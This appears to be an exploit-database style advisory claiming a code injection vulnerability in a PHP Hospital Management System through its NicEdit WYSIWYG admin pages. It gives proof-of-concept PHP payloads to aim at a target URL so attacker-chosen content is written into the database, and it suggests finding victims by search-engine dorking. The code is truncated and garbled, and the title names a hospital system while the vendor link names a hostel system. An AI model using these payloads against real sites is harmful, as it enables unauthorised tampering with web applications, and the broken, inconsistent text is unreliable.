=============================================================================================================================================
| # Title : Hospital Management System 1.0(WYSIWYG) code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://phpgurukul.com/wp-content/uploads/2017/12/Hostel-Management-Syste-Updated-Code.zip |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] Part 01 : about-us.php
[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php .
[+] Line 2 : Make sure to include your database connection here
[+] Line 44 : Send the form data using fetch API (Set your target url)
[+] save payload as poc.php in your localhost path .
[+] payload :
real_escape_string($_POST['pagedes']);
$query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");
if ($query) {
echo '';
} else {
echo '';
}
exit;
}
?>
indoushka | Update About Us Content
Update the About Us Content
---------------------- [+] Part 02 : contact.php [+] --------------------
[+] Line 4 : Make sure to include your database connection here
[+] Line 60 : Send the form data using fetch API (Set your target url)
[+] save payload as poc.php in your localhost path .
[+] payload :
real_escape_string($_POST['pagedes']);
$email = $con->real_escape_string($_POST['email']);
$mobnum = $con->real_escape_string($_POST['mobnum']);
$query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes', Email='$email', MobileNumber='$mobnum' WHERE PageType='contactus'");
if ($query) {
echo '';
} else {
echo '';
}
exit;
}
?>
Admin | Update Contact Us Content
Admin | Update Contact Us Content
Update Contact Us Content
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================